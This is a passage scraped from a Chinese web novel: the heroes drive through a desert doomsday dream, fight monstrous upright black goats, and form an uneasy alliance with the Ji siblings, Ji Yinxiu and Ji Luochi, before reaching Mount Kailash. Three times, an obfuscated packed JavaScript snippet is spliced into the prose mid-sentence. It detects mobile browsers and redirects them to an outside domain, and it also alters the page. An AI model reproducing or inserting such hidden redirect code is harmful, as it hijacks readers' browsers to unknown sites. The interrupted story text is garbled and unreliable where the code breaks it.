风枫也被逗笑了,她松了口气重新坐回位置上,刚刚确实还有些担忧,但照这样下去,她说不定能跟这对善良的夫妻再同行一段路,甚至挽着手走向终点呢。 车辆穿过残破的城市,驶上了高架桥,这一幕有些熟悉,落日的尽头再一次招摇眼前,风眠忍不住降下车窗,烈风带着死亡的味道将他的头发往后吹起,他微微偏头对着夏烛说:“我倒是有点怀念咱们的小电动了。” 在毫无遮挡的电动车上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893400|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任何行为都带着一股孤注一掷的帅气。 夏烛其实也很赞同,但她没有搭腔,只是侧头看着风枫。 “诶,你们说要是老爸老妈最后见到了魉,知道这个世界包括他们自己都只是虚拟创造的,会怎么想呢?”风枫趴在风眠的座椅后面,将头探向前座。 嬴犽立刻放下手里的地图,转头回应她:“我不知道。” 风枫没有理会嬴犽,自顾自地说到:“要是那样的话,俺宁愿她们永远也不知道。”她的五指收缩,在皮革的座椅上留下深深的痕迹,窗外面肆意坠落的流星划亮了她的侧脸,湿润漂亮的糖浆色的瞳孔比任何星子都要明亮。 前面不远有一个分岔口,嬴犽还算有职业操守,他冷冷地指出正确的路:“直走。” “收到。”风眠轻飘飘地回应他,下一秒所有人都能感受到身下的汽车内部传来超负荷的轰鸣,因为他们都看见了一颗巨大的流星正朝着众人的方向极速冲来。 “好吧,又是老剧情!”风眠双手握紧方向盘,脚下猛踩油门,增压器叶片发出尖啸的爆鸣声。强大的后推力让后座的两人都被紧紧压在了座椅靠背上。 他们再一次有惊无险地躲过了。 风枫扭动着颈脖,刚刚突然的提速,让她的颈椎有些难受,她转了转头,想往后窗看看。 风眠的车尾堪堪擦过那颗巨型流星,它重重的地砸在了身后的地面上,掀起遮天的烟尘,视野里一片迷蒙,再也没有别的身影。 心像被一只手猛地攥住,她突然想起来他们刚刚驶过了一个分岔口,于是立马和夏烛交换了位置,从她身上翻过,趴在右侧的车窗上。 即使过了分岔口,两条道路还会短暂的并行几秒,她努力将身子探出车窗也不管头顶正在坠落流星,期望着那片矮灌木的尽头会出现一个熟悉的车影。 几秒钟,在她看来仿佛过去了几个世纪,在她不得不重新回到车子内部的时候,一辆闪烁着大灯的重型越野冲进了她的视线。 车头的灯光像两道锋利的视线,正在逐渐暗淡的夜色中朝着他们的位置炫耀着胜利的信号,雨刷器更是招摇地刮擦着风挡上失败者留下的烟尘,越野车疯狂鸣笛,像是从风烟中杀出的将士摇旗呐喊。 风枫看见那个总是笑盈盈地男人再次从车窗中竖起了大拇指,他嘴角的雪茄甚至不曾掉落。 “好了,俺认可你啦。”她的声音低低的。 可是路途总有分别,短暂的交汇后两辆车从并行到越来越远,风枫眼睁睁看着那庞然怪物般的车辆慢慢变成视线中一个黑漆漆的小点,最后散进天边的红霞中消失不见。 只有两辆车相互道别的鸣笛声还在耳边缭绕。 很久之后,她重新回到车内坐好,夕阳照得一头红发像是在悲伤地燃烧。 那颗巨大的流星好像是这场灾难的短暂收尾,又像无法阻挡的命运势必要为早就设下的剧情挥出那么一剑。整个世界重回宁静,好像只有这辆载着他们四个局外之人的车仍旧在孤独前行。 什么家人,晚餐,烛火啦,真正黄粱一梦。 风枫用手托着下巴,靠在车窗上,短暂的沉寂后她率先缓和氛围就像之前每一次那样。 “好啦好啦,NPC算是在终章打出完美结局啦,他们俩这一辈子活得倒还挺酷的呢!” 42.自由之地(九) “喂喂!别为了首富叹气啦!人家至少豪掷千金过了一生!出走半生归来仍是有钱人啊!俺们是什么!俺们是三个穷鬼和一个阴暗老鼠人好吗??” “煽情剧情没法一键跳过,那就赶紧走完直捣魍魉老巢吧伙计们!” 夏烛觉得风枫真了不起,即使她的眼睛看上去有些难过,但还能保持高昂的情绪说出这种鼓舞人心的话来,而且这样的话显然是成功了,车内沉闷的气氛一扫而空,阴郁和悲伤都从四面的车窗中溜出去了。 就连风眠也大笑起来,他将手伸出窗外,由他掌握的速度正以风的姿态从指缝中穿过。 车辆全力加速,短暂的低沉后再次向着目的地前进。 夜幕降临戈壁,依旧冷漠注视世界的星体发出清冷的光辉,照亮这条没有尽头的公路,像是一道荒漠中劈出的天堑,或者一条寂寞的游蛇。 原本美好的想象是在下一轮流星雨来临前到达冈仁波齐的,但刚应付完一轮逃亡又闷头开了几百公里,大家都快散架了,只好将车停在路边稍作休整。 风眠去给车加水,剩下三人齐齐躺在近旁的沙地里,动也不想动,累到肚子也感觉不到饿。 银色星光,干燥夜风,风眠若有若无的絮叨,风滚草沙沙的迁徙,如果不是突然出现的羊叫,一切都显得十分宁静美好。 夏烛从地上坐起,她还以为自己听错了,但车旁边的风眠显然也听到了那声羊叫,他僵直地站在原地,和夏烛对视了一眼。 “咩——” “羊?”身边的小枫一个鲤鱼打挺坐起来,“哪里来的羊??” 荒漠中所有的一切都被三轮圆月覆上了一层白纱,照理说有生物靠近应该很明显的,但那羊叫近在咫尺,却没有一个人发现。 “是,那里。”嬴犽默默指了个方向。 大家随着他的手指看去,宽阔的公路上孤零零的站着一只黑色山羊。 它的体型很大,两只眼睛像两盏黄色灯笼在夜色中尤为醒目,巨大的羊角盘出螺旋状的纹理向下弯曲,险些要戳进自己的眼里。 见四人朝自己看来,黑山羊甩动了一下脑袋。 “咩——”它又叫了一声,前蹄不安分地在原地踏动,发出哒哒的声音。 “戈壁上有山羊应该是正常的吧?”风枫微微偏头询问百科全书夏烛。 “应该是,正常的。”山羊出现在这里照理来说没问题,但眼前这只正不正常…. 得到肯定答案的风枫刚松了口气,就见那只黑山羊更加不安的原地踱起步来。 下一秒,它突然抬起前肢站了起来,用仅剩的两条后腿稳稳地踩在地上往四人的方向走了两步。 他们被山羊突如其来的动作吓得一哆嗦,风枫下意识伸手抓住身边的夏烛。 “咩——”又一声羊叫,不过不是公路上那只发出的,而是来自于三人背后。 站在车边的风眠面对着他们,先一步看见了三人背后的情景,他眼角抽搐,抬手往那一指。三人动作划一整齐且僵硬地转过头去。 无数盏黄色灯笼高高挂在半空中。 那是一群后腿直立的巨型黑山羊,气势犹如一墙黑色的海浪,浪头上密密麻麻的挂着邪恶的头颅。 这一幕不是恐怖,而是说不出的诡异,夏烛觉得自己的后颈麻麻的,山羊奇异的瞳孔直勾勾的盯着几人,它们咧至耳后的嘴角像是在笑。 随着公路上那只领头羊的仰天嚎叫,羊群一触即发,朝几人跑来。是实打实的用两腿跑了过来。 夏烛他们从地上连滚打爬地往车子方向跑去,风枫还不忘回头升起一堵藤蔓做的高墙试图阻止山羊群的步伐,奈何羊角锋利,很快就撞开了破口。 风眠将引擎盖一扣,冲到座位上发动车辆,只等三人坐好就踩下油门。 “快快快!”风枫猛拍着哥哥的座位。 他一脚油门踩到底,没想到车身只有一个往前的趋势,嘎吱一下停在了原地,与此同时后备箱传来一阵闷响。 夏烛往后一看,公路上那只黑山羊不知道什么时候出现在了车后,两只前蹄死死按住车身,羊蹄下的铁皮甚至深深凹陷下去。 “什么怪物!”风枫怪叫,声音因为颤抖而变形。 车子无法前进,但原本被拖延在后的羊群却有两只来到车旁边,风枫忍不住往夏烛的方向缩,就见最近的那只山羊埋头一顶,羊角插进车门把手一仰脖就将车门撬了起来,嘴里发出兴奋的咩咩声。 眼见一路失守,风眠再次发动汽车,奈何关键时候总会出点问题,车子这下是彻底熄火了。 “不是?好歹长个人头俺都觉得还好,这就是完全的山羊,也太诡异了吧!!”风枫虽然一直在往后蹬,但手上的动作没停,一根粗壮的藤蔓从车内钻了出去,沿着羊蹄迅速缠绕上了山羊的脖子,藤蔓一圈圈收缩,山羊的惨叫被遏制在了喉管,它的双眼受到绝对的挤压,红白的眼球直接爆了出来,鲜血顿时四溅,坐在前排的两人也不能幸免。 “不要边说着害怕的话边给别人爆头了好吧!”风眠掀起衣服下摆抹了一把脸,但是情况显然更糟,原本几滴鲜血现在是均匀地铺在脸上了。 没想到就算失去了眼球,那只山羊居然还能反抗,它扯着脖子,猛地往后一仰,后退了几步,但那藤蔓原本是从风枫手心长出,山羊的动作出其不意顺势将风枫也扯出了车外。 夏烛反应过来一把搂住风枫的腰,两方形成对立,风枫大半截身体悬在半空。夏烛箍住她的腰身,腾出一只手摸向座位上的双肩包。 但是更多的羊群在逐渐将他们的车围住,嬴犽见风枫被山羊托着,拉开车门就跳了下去,风眠根本来不及阻止。 天边黑压压的一片,大群乌鸦朝着车的位置飞来,而嬴犽则是冲了上去抱住那只拉走风枫的山羊,鸦群采用上次的战术,纷纷朝着山羊们脆弱的眼部琢去,可这些黑山羊并不惧怕乌鸦,并且由于飞的太低,越来越多的乌鸦被山羊蹄的分趾抓住,塞到嘴边,一口咬断颈脖。 黑色的鸦羽漫天飞舞,血腥味使羊群更加亢奋,叫声再度高昂。 夏烛终于摸到了小剑,回身斩断风枫与黑山羊之间的藤蔓,没有了力的平衡,那只失去眼睛的山羊带着嬴犽倒进羊群中,夏烛想都没想,握着小剑冲进了羊群。 “小乌鸦!阿烛!” 风枫迅速升起重重的藤障,试图隔绝两人身边的山羊,奈何它们数量过多,又一身蛮劲,藤障坚持不了太久。 火力被车外的两人吸引,风眠再次发动了引擎。 “快回来!”他对着已经被黑压压的羊群和乌鸦淹没的两人吼道,见妹妹也想下车,他赶紧侧身抓住了风枫的手腕。 “你去了,阿烛还得多救一个人!” “那俺也不能干看着啊?”她边说边挥动右手,甩出一条藤蔓拉住最近一只山羊的后腿将它绊倒在地,“再说了!谁救谁还不一定,俺们不能让阿烛单独作战!” 夏烛冲进羊堆里的时候,嬴犽正被那头山一样高大的羊压在身下,山羊看不见只能乱挥着四肢,做最后的垂死挣扎,嬴犽一张小脸被压的更苍白白。夏烛伸手过去试图将他从山羊身下扯出来,但斜刺又冲来一只,头上的羊角尖尖上扬,对着夏烛就顶了上来。 她不得不松了手转身一把握住刺过来的羊角,但那黑山羊体型异常力量也异常得大,她根本不是对手,只能用后脚死死抵住沙地被山羊顶着往后退了好几米,最终被压倒在地。 那重量犹如泰山压顶,夏烛觉得胸骨都被压断了几根,也许是戳破了肺部,险些吸不上气,好在身体内的力量在迅速修补,她张大嘴巴喘着粗气。 山羊冲着她的脸咩咩叫着,一股腥臭扑面而来,她又赶紧屏住了呼吸,那滴着鲜血的羊角尖就戳在她的瞳孔上方,夏烛突然意识到,即使拥有了武器,她们之间依旧存在着很大的力量悬殊,想要和梦境中的怪物殊死搏斗并不是一件容易的事。 但不到心脏停止跳动的那一秒,她永远不会放弃抵抗。 夏烛猛地收起膝盖,狠狠击中黑山羊柔软且脆弱的胃部,它吃痛收了力度,身体往旁边一倒,从夏烛身上滚了下去,但那只尖锐如弯刀的羊角却因此扎进了她的肩膀。 扑哧一声,伴随着剧烈的疼痛形成贯穿伤,鲜血股股涌了出来。 她咬紧牙关,手脚再次用力将黑山羊完全推到,肩膀处的伤口不免会受到了二次伤害。 倒地的山羊翻了个身再次从正常形态变为双脚站立,它的双蹄一下又一下地踏在沙地上,掀起阵阵愤怒的沙尘,越来越多的黑山羊朝着受伤的夏烛围过来。 她抱着手臂从地上站了起来,肩膀处的伤牵扯着每一次呼吸钻心的疼,还尝到了铁锈的味道不断从喉咙上涌,内伤还没有完全恢复又来了致命的贯穿伤。 好在眼风中看见被自己吸引走战火的嬴犽,得以从已经挣扎着死去的山羊身下爬了起来。 现在只有一人被群狼环伺,这对夏烛来说就是战斗的初步胜利。她放缓呼吸,有意识地调动游走在身体内的气息。之前就发现了,她的身体内部似乎有一股混乱的力量,往往在她需要治疗的时候尤为明显。 也许这股力量就是小枫她们说过的相力,所以她干脆摒弃一切杂念,做冥想一般闭上了眼睛。 不远处跳下车的风枫抱着头一脸绝望。 “她怎么闭眼了呢?别告诉俺是打架打困了?” 不出所料,当她静下心来闭上眼睛,向内看自己的身体,那股力量就更加清晰地在经脉之下流动,她有意地领着它们朝肩膀处汇集,那里破损的细胞和断裂的血管在力量的冲刷下迅速分裂重生。 一息之后,身体再度完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898385|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整,所有伤痕都消失不见。 夏烛睁开了眼睛,朝着最近的黑山羊扑了上去,趁着羊群反应不过来,主动掌握了这场战事。 “害!俺就说嘛!阿烛我一直都看好你!”风枫和嬴犽也没有闲着,各自的符钰发出亮光,从外部瓦解包围圈。 小剑狠狠刺进山羊的头颅,剑尖穿透头骨犹如斩断水流切分软肉,夏烛踩住山羊的腹部一个借力重新将小剑抽了出来,带出黄白一片黏糊糊的不明物。 一只黑山羊倒下还有数不清的黑山羊排山倒海而来,她握剑的手变得酸痛,但还是不停地刺向扑上来的怪物。 夏烛开始觉得眼花,刚刚恢复了身体内的所有伤,肾上腺素又给予了一次反击的机会,但是机制奖励还是有时间限制的,时间一到她只剩下筋疲力尽,和机械地挥出手里的剑,就连意识也慢慢变淡。 身边所有的羊头似乎变成了漂浮不断的黑色阴霾,阴魂不散地伸出腥臭无比的长舌舔舐她手里的小剑。 “好恶心。”夏烛的觉得天地都在颠倒,她快要支撑不住了。 “阿烛!”风枫的声音从身后传来。 一只无比高大的黑山羊正从她背后的羊群中站立起来,它之前都以羊的形态混迹其中,隐藏身形,可如今看来这只肌肉虬结,羊角硕大的才是领头羊。它的身躯远比夏烛大上不止几倍,听到风枫的提醒,夏烛本能地回过身,只觉得眼前一黑,她呆呆地仰起头,才发现遮天蔽日的竟然是一只羊。 对上那双冰冷的毫无情绪可言的诡异瞳孔,夏烛有些羡慕。 “吃什么,长这么高呢。”如果她拥有如此强大的体魄,就能手撕山羊怪,冲出包围圈和小枫她们站在一起了。 “不喜欢。”她不喜欢这种一个人的感觉,也不喜欢有东西居高临下的俯视自己。 可是她的双臂像是融化了一样,不管再怎么努力也抬不起来了。 巨型黑山羊似乎看出了夏烛的无力,带着胜利的喜悦扬起它油腻漆黑发亮的头颅,张开腥气扑鼻的巨口,势必要一口咬下面前这个脆弱生物的头颅。 夏烛还拖着手臂,试图用身体将山羊撞到,可她用尽全力撞上去就像撞在城墙上,岿然不动。 黑山羊发出邪恶的笑声,不再给她反抗的机会。露出了黄色浑浊的尖牙。 夏烛以为一切就到此为止了,意识迷糊间,她听到一声尖啸,似乎是利箭破开空气的声音。头顶传来热烈的气浪,有什么东西流星一般带着拖尾的火焰刺穿了黑羊的头颅。 “那是…?”风枫呆在原地,看见一支燃烧的羽箭同时穿过三四只黑羊最后稳稳地刺进沙地中,就算如此,羽箭依旧燃烧着不灭的火焰。 风眠从她身后走出,他声音冰冷的接过话:“是逐日。” 话音还没落地,由无数黑山羊形成的包围圈被一道带着金色光辉的剑风破开,所有羊怪被拦腰斩成了两半,血雾漫天中走出来两个人。 “我还说什么东西把这群喽啰拖在这里,原来是别的不明官呢。”个头中等但气场十足的女生走到了风家兄妹面前。 一头黑色长发一丝不苟地往后梳成高高的马尾,在晚风中扬出十分骄傲的弧度,女孩的左手拿着一把金红色的大弓,竖起来怕是比她还要高,身后背着剪筒,紧实的小臂上戴着暗金色的护臂,护臂之下清晰可见的肌肉线条,龙形符钰挂在腰间。 她伸手将地上的羽箭拔了起来,火焰顷刻熄灭变成了普通的箭矢被她反手插进剪筒。女孩单手撩了撩额前并不存在的碎发。 她朝风枫风眠看了过来,语气带着藏不住的轻蔑:“我说是谁呢,原来是勤勤恳恳的风家人。哥哥,看来这场我们有竞争对手了哦。” 她的身边还有另一个人,那是个身材高挑面容秀丽的男生,如果不是被女孩叫做哥哥,风枫大概会以为他也是个漂亮女生。 他将手中的长剑收回剑鞘,剑与鞘碰撞之间溶金四落,发出铮鸣。他穿着贴身的黑色作战服,宽肩窄腰,显得更加挺拔修长,腰间除了那把看上去就不凡的剑,还同样挂着龙形符钰。高领之上是白皙到透明的皮肤,冷淡的眉和浅色的瞳仁,以及一头扫在颈部的整齐白发,各种超标特征无不昭示她们身份的尊贵。 男孩眉上的刘海被夜风吹起,露出他精致的面孔,只是和冰冷的长相不同,他的声音却格外轻柔,出声阻止了另一边还在释放敌意的女孩:“罗池,不要这样。” 姬罗池抱着手臂不满地冷哼。其实她根本不需要听谁的话,不过今天不屑于争口舌之快罢了。 风家兄妹俩呆若木鸡地站在原地,被两人的气场压得不敢乱动。 “逐日弓和轩辕剑呐,好消息是我们有救了…” “坏消息是,这把又撞梦了….”勤勤恳恳的风家人一面保持着礼貌的微笑,一面用微如蚊蚋的声音交换情报。 43.自由之地(十) 风枫面上表演皮笑肉不笑,其实内心已经惊涛骇浪,她一把揽住风眠,两个人背对过去,自以为很小声的蛐蛐道:“轩辕剑??这个妹妹头就是大名鼎鼎的姬阴秀?耗费大半精血一夜白头只为了了能徒手拔出轩辕剑,证明自己虽然是残体但也能作为不明官为姬家的荣耀献出一切的那个姬阴秀!?” 风眠很鄙夷地睨了她一眼:“你这段强行加入的解说是什么意思?搞得像是姬阴秀就很了不起一样。”说完他偷偷往身后看了那对姬家兄妹一眼,“好吧,确实了不起,作为残体能做到这份上是应该受人尊敬,不过他旁边那个也不容小觑,可以说更是天龙人。” “逐日弓的主人,吓人吧,姬阴秀是强行拔出轩辕剑,经过了很长一段艰难时光才让神剑认主的。但是姬罗池可不一样,她才是所谓的天才,出生那天,神弓嗡鸣,自行认主,听说她已经是黄帝姬家的准继承人了。” 两人聊得不知天地为何物了。 “喂,你俩真当我们不存在啊?”姬罗池很是无语,这两人当着正主的面聊八卦,虽然都是些好坏吧,但她就是不爱听。 为什么所有人提到她和姬阴秀总是以天才和努力来形容他们,好像天才就是什么很容易的事,她付出的努力从不比姬阴秀少。 风家两人笑嘻嘻地勾着肩搭着背转过来,尴尬的不知道说什么才好,见到夏烛带着一身伤龟速向这边挪动,风枫赶紧逃离社交场面,冲过去扶住夏烛。 “没事吧阿烛?” 夏烛摇摇头,又上上下下打量了风枫,确认她也没事才问:“他们是什么人?” “崆峒姬家的人。” 崆峒?就是黄帝后人,她记得风眠之前跟她提过,黄帝一派的相力为营造,可是看这样子,他们还有别的能力。 “之前忘了跟你讲啦,黄帝姬家除了拥有风水营造的相力,她们族内还有一位武力值天花板,妖神应龙!逐鹿之战听说过吧?就是有应龙相助黄帝才能打败蚩尤!所以姬家人不仅会建房子,还都是武林高手!” 夏烛配合风枫也一脸谄媚的样子。 武林高手,她的梦想就是当武林高手,当然野猴子也是。 “欸?对了,小乌鸦去哪里了?”风枫东看西看都没有见到嬴犽的身影。 “我在这里。”他不知道从哪里钻了出来,吓了她们俩一跳,嬴犽举着自己满是血的双手,“我去处理乌鸦的尸体了。” 每一只因他而死的乌鸦,都会由他亲手埋葬。 风枫伸手揉了揉嬴犽乱糟糟的脑袋,看了一眼和风眠对峙的姬阴秀二人:“不知道为什么,感觉俺们从阵容上就已经输了,还有那个凶巴巴的姬罗池,同样作为家族的天才少女,俺也没像她这么骄傲啊!” 风枫把夏烛搀扶到车前,自己则是躲在她和风眠中间,总觉得要从气势上压对方一头,虽然不能明说,但她认为夏烛的独特相力还是有竞争力的,所以她打算把夏烛推出去,用她坚定的意志力威慑到姬家人。 “剑鞘?好东西。”作为代表的夏烛只看到姬阴秀腰间的轩辕剑,后知后觉摸出小剑轻轻擦拭,等这次出去她也要给小剑配一把合适的剑鞘,这样又能养护有能挂在身上方便实用。 风枫在阴影里大为震惊,她以为夏烛会说出点什么正义之言,没想到她反而地夸别人剑好。 “剑鞘?如果你需要给自己的武器挑选一把合适的剑鞘,欢迎你来崆峒,或者…”姬阴秀看了一眼那个红发女孩旁边淡得像影子的男孩,“或者少皞嬴家,我们两家都有优秀的铸剑师。” 风枫没想到姬阴秀会这么亲民,两个人有来有回的就剑与剑鞘养护措施交流了一波,夏烛还真诚地道了谢。 不过好在,除了风枫还有别的人不满意两人的友好交流,风枫是觉得夏烛跟他说太多话了,而姬罗池则是认为姬阴秀纯粹是在浪费时间。 ”好了,啰里八嗦的说了一通,入梦不带武位,你们风家都这么不怕死的吗?”姬罗池打断了场上的友好交流,她是真好奇对面这四个人是艺高人胆大还是单纯的蠢货。 武位,字面意思,就是有武力值的位置,就像姬阴秀二人,都属于是武位,组队进梦对他们来说简直轻而易举。 夏烛记得这次这个梦是红色等级的,按理来说限制人数是三人以上,不知道为什么姬阴秀她们能双人成队。 也是后来她才听说,有威望的家族手段甚多,突破一个人数禁制而已,对他们来说微不足道。 “谁说没有武位!”风枫在后面探头探脑,她一把抱住夏烛,“这位就是!” 姬罗池瞥了一眼夏烛手里的短剑,嗤笑一声。 “好吧,如果刚才不是我们出手,看来风家就会损失一位稀有人才了。” “喂喂!你讲话要不要这么不客气啊!”风枫握着沙包大的拳头,就要上去理论一番,被风眠扯着衣领拽了回来。 关键时候还是得有冷静发言人,风眠对二人说:“不管怎样,这个梦是撞了,而且看样子我们似乎快走到终点了,虽然不知道你们是如何来到这一步的,但入梦这几天对我们来说确实不容易,所以也都不用客气,直接了当一点。” “大家同为不明官,入梦的目的只有一个,就是杀掉魍魉拿走石头,石头只有一颗,达成统一意见才能互惠共赢,不知道你们怎么看?” 如果能友好相处走完下半段,这场梦就不算白来,天生相石能够通过符钰分化,谁都不亏,她们事摆明了态度,不想有过多的纠纷,但不表示就这么放弃石头了。 风眠想的是,看姬阴秀的脾气还算是个好相处的,如果她们同意那就皆大欢喜,要是不同意,好吧,其实他们也不敢硬抢,还是只能乖乖拱手相让。 但是入梦可不是光靠蛮力的,他一直认为,智慧,是她们一这队的优势,在败露之前装作气势汹汹也是一门艺术。 “切,我们不同意,你们又能怎么样呢?让你们的武位举着她的短剑拼命?我看不至于吧…”姬罗池还想嘴炮攻击,却被姬阴秀打断了。 “好,那就合作取石,我看你们有车,方便载上我和罗池吗?关于魉的位置我们也有些线索可以分享的。” “凭什么说分享就分享!你!”姬罗池还没发作,就被姬阴秀冷淡的眼神给冻了回去。 原本以为哥哥比较好说话没脾气,连声音也温温柔柔会治不住跋扈的妹妹,没想到血脉压制还是有些说法的。 风家兄妹倒是无声交换了一下眼神。 风眠点点头:“折腾了一晚上,天也快亮了,那边有背石挡风,去那里休整一下再上路吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15905823|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 嬴犽和风枫去车里取了食物,夏烛和风眠找了些干树枝打算生堆火,天将明未明的时候戈壁滩最是苍凉。 姬阴秀让罗池去帮忙用逐日生火,后者不情不愿还在为刚刚被下了面子生气。 “我不知道你为什么非要和他们一起?不说你了,就靠我一个人,她们都不是对手,你别告诉我,你真是看上那辆车不想多走一段路了?” 姬阴秀看夏烛她们已经自己生起火焰,也不再说什么,他用手轻轻摩挲着轩辕剑的剑柄,那里有一个浅浅的凹痕。 “罗池,你有注意到吗?她们当中那个个子高高的女生手里的那把短剑?” “剑?不就是一堆破铁打的废物东西,不值钱的玩意,看起来什么都切不动。” “样子是不起眼。”姬阴秀顿了顿,视线从自己的剑挪到了姬罗池的弯弓上,“但那把剑上,有蚩尤旗的图腾。” “蚩尤旗?!不可能!”姬罗池瞪大了双眼,下意识握紧了逐日,那里有一颗一模一样的彗星。 “我看的一清二楚,你知道蚩尤旗意味着什么,我的轩辕剑,你的逐日弓都出自那人之手,他只锻造神兵,而神兵认主,从不轻易开刃。” “就算那把剑上的图腾没有错,铸剑之人已经是历史中的亡魂了,他也只在崆峒停留过一段时间,我听妈妈说,那人后来游走于各家族之间,铸造的兵器数不胜数,也许只是一把残次品,经过几千年流落在外,偶然被她捡到罢了。” “就算是残次品,能让刻有蚩尤旗的兵器认主,那个叫做夏烛的女生也绝对不一般。”姬阴秀抬起头,远处她口中不一般的夏烛正眼巴巴地蹲在火堆旁,等着风眠给她烤地瓜。 “再说,蚩尤部族的人,轩辕剑逐日弓的铸造者,真的会做出残次品吗?” 姬罗池不再分辩,有些丧气地抱着胳膊坐在一边。 “烤地瓜,很甜的。”一双黑乎乎的手捧着两个表皮被烤成焦糖色的地瓜伸到姬阴秀和姬罗池面前。 罗池抬头对上那双对着地瓜冒星星的眼睛,气不打一处来,但又不太敢发泄,她别扭地偏过头去不再看夏烛诚挚的眼神。 “谢谢。”姬阴秀接过夏烛手里的烤地瓜,轻柔地向她道谢,她这才注意到,轩辕剑的主人长得这么好看,离得近了才发现,他的嘴角下面还有一颗小小的痣。 姬阴秀整个人就像一座淡得生烟的玉面观音。 不过再好看也没有风眠的地瓜好看。 “不客气。”夏烛撑着膝盖站了起来,一路小跑追着地瓜而去。 姬阴秀看着她的背影不禁想笑,夏烛是个有趣的人,无论是她手里的短剑,还是她本人,都想让人探究一番。 “吃点吧,真的挺甜的。”他把剥好的地瓜送到罗池倔强的嘴边。 金黄色软绵绵的地瓜,热气在冷风中变成了一只勾人的手,在姬罗池的鼻子下方不断的挠痒痒,但她不想这么快就妥协,长这么大,还没在什么地方担任过配角,像现在这样坐在冷清的阴影里。 可是,真的很香,她的肚子忍不住咕咕叫。 算了,姬罗池想,跟谁过不去都不能跟自己的肚子过不去,她一把接过哥哥递来的地瓜狠狠咬了下去。 “烫!!姬阴秀你是铁手吗!” 44.自由之地(十一) 四个人挤在后座,夏烛和姬阴秀坐在中间把两家的天才少女隔开,即便如此,剑拔弩张的氛围也无遮拦地充斥在整个车厢内。 “俺说,有些人就非得岔开腿坐嘛?四个人挤在这里,位置本来就不宽裕,你看看把俺们阿烛挤成什么样了!” “嫌挤可以下车啊。” “下车?俺看你是有点不清楚状况了!这是俺们的车,要下也是你下!” “好啊!下车就下车!我还不稀罕坐这个破车呢,正好不用分享什么线索给你们!” 风枫和姬罗池隔着中间两人就扯打起来,夏烛原本是想和旁边正经危坐的姬阴秀一样闭目养神,装作看不见,奈何两人的拳头都打到了她身上,她只好赶紧拉开她们。 “你打到俺家阿烛了!” “是你打的,你根本不长眼睛,还当不明官呢,我看到时候说不定敌我不分,把队友当魉除了也不一定呢!” “?你说俺可以,但你不能质疑俺们之间的友情羁绊!” 又吵起来了。 两只小鸟叽叽喳喳的闹个不停,没给众人的耳朵一个喘息的机会,风眠又要开车又要拉架,头疼得不行,只好降下车窗,让充满冰雪气息的晨风灌进车内,也让那两人冷静冷静。 “之前你们说有关于魉的线索,现在离冈仁波齐也不远了,可以告诉我们了吗?” 风眠是跟姬阴秀说话。 听到谈起正事,那两位也不再吵闹,各自将头偏向一边的车窗,嘴巴翘得能挂水壶。 姬阴秀虚虚地点了点头,说:“这次的梦就是一个末日模拟游戏,魉一定会在通关后现身,而关卡大家应该都清楚,就是前往冈仁波齐。” “所以我们不用担心,只要进入冈仁波齐,就一定能见到魉,是吗?”风眠接过话。 “没错。” 风眠嗯了一声,左手靠到车窗上,反正他们已经结盟,姬阴秀也没有理由骗他,虽然之前猜到过这个结果,但出于没有能证实的线索不能确定,还是有很长一段时间为在人海茫茫中找出一人感到头疼过。 现在可以松一口气了,至少不用花费额外的时间和精力寻人。 这是他们第一次迎着朝阳出发,从前都是面对残阳如血。 是个好兆头,朝阳的意义是就算末日降临,就算所有事情都糟糕透顶了,除非地球爆炸,新的一天依旧会来临,那就是希望,是可以重新再来一次的象征。 当然了,地球爆炸了也无所谓,甚至更好。 全世界的人类都重新变回宇宙中漂浮的星屑,到时候你中有我,我中有你,什么爱啊恨啊遗憾啊,都会在爆炸中化为灰烬。 作为星屑的人类将会在浩瀚之海中得以永生。 所以最糟糕的结果都这么酷,人生还有能难倒一个人的事情吗? 车在荒原中爬行,像一只沉重而疲惫的甲虫,窗外的大地是铁灰色的波浪,无边无际涌向世界尽头。 直到苍凉的空气中多了一丝冷澈的气息,氧气变得稀薄,锋利的像是雪做的薄刃,地平线上开始往上膨胀出白色。 道路旁低矮枯黄的草甸紧紧帖服着地面,在凛冽的雪风中喘息。偶尔能见到几块孤零零的牦牛骨头,有彩旗摆放其间随风招摇。 高耸的雪山陆续出现在身侧,它们威严又冷漠地注视着笨甲虫闯进领地,就像是昆仑的神祇伪装成山峰围坐在此处,背靠着星群观察众生之相。那些雪山之上裸露的岩石层,则是一只潜伏在下的巨兽,不经意间露出了它们漆黑闪光的鳞甲。 车窗不得不紧闭起来,那股冰雪的气息吸上一口就会令肺部结霜。 在钴蓝色的天幕和巨大土星之下,一块写着“冈仁波齐”的界牌出现在前方。 